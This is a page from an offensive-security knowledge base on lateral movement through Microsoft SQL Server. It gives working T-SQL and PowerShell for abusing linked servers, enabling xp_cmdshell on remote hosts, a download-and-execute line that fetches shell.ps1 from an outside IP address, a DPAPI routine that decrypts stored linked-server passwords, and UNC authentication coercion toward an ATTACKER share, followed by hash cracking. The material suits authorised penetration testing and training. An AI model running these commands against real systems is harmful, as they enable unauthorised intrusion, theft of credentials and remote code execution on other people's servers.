Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 05. SQL / MSSQL

Lateral Movement

MSSQL lateral movement usually means linked servers, domain service accounts, SQL Agent proxies, recovered credentials, or UNC authentication coercion.


Linked Server Concept

Linked servers allow one SQL Server to query another server.

Remote execution methods:

OPENQUERY
EXECUTE AT
OPENROWSET

The critical question is:

what login mapping does the link use on the remote server?

If the remote mapping is privileged and RPC OUT is enabled, a normal foothold can become remote SQL execution or remote OS command execution.


Enumerate Linked Servers

EXEC sp_linkedservers;
SELECT * FROM sys.servers;

Useful fields:

SELECT name, product, provider, data_source, is_linked, is_remote_login_enabled, is_rpc_out_enabled
FROM sys.servers;

Basic remote query:

SELECT * FROM OPENQUERY(SQL07, 'SELECT name, database_id, create_date FROM sys.databases');

Check remote context:

EXEC ('SELECT @@SERVERNAME, SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKNAME];

Alternative:

SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

Remote xp_cmdshell Through Link

If the remote mapping is strong enough:

EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [SQL02];

PowerShell variant:

EXEC ('EXEC xp_cmdshell ''powershell -c "IEX (New-Object Net.WebClient).DownloadString(''''http://10.10.15.219:9999/shell.ps1'''')"'';') AT [SQL02];

If quoting becomes painful, start with:

EXEC ('SELECT @@VERSION') AT [LINKNAME];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKNAME];

Chained Links

After landing on one linked server, enumerate links from that server:

EXEC ('EXEC sp_linkedservers') AT [LINKNAME];

Then query the next link from the remote context if permissions allow.

The pivot chain is:

SQL01 -> SQL02 -> SQL03

At each hop, re-check:

SYSTEM_USER
IS_SRVROLEMEMBER('sysadmin')
RPC OUT
xp_cmdshell
linked servers

Decrypting Linked Server Passwords

This is a post-exploitation path after compromising a machine that hosts MSSQL.

Requirements:

  • sysadmin access to SQL Server
  • local administrator on the underlying Windows server
  • access through the Dedicated Administrator Connection for encrypted linked-login material

Enumerate encrypted linked server credentials through DAC:

SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid
WHERE LEN(pwdhash) > 0;

Inspect key encryptions:

SELECT * FROM sys.key_encryptions;

Retrieve entropy from the host registry:

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"

Decrypt the Service Master Key with DPAPI:

$encryptedData = "0xFFFFFFFF500100<SNIP>";
$encryptedData = $encryptedData.Substring(18);
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');

$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;

Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK | ForEach-Object ToString X2) -join '');

Split linked-login hashes into IV and ciphertext:

SELECT
    name,
    SUBSTRING(pwdhash, 5, 16) AS IV,
    SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS Ciphertext
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;

For SQL Server 2012 and newer, the Service Master Key is typically used with AES. Older versions may use 3DES. The decrypted password text is UTF-16LE.


Domain And Service Account Lateral Movement

Identify domain context:

SELECT SYSTEM_USER;
SELECT DEFAULT_DOMAIN();

Coerce SQL service account authentication:

EXEC xp_dirtree '\\ATTACKER\\share\\ping';
EXEC xp_subdirs '\\ATTACKER\\share\\ping';
EXEC xp_fileexist '\\ATTACKER\\share\\ping';

Then crack or relay according to the lab rules.

NetNTLMv2 cracking:

hashcat -m 5600 hashes.txt rockyou.txt

Cross-Database Lateral Movement

Check:

SELECT name, value_in_use
FROM sys.configurations
WHERE name='cross db ownership chaining';

Pivot:

USE dbA;
SELECT * FROM dbB.sys.tables;

This is lateral movement inside the SQL instance rather than host-to-host movement.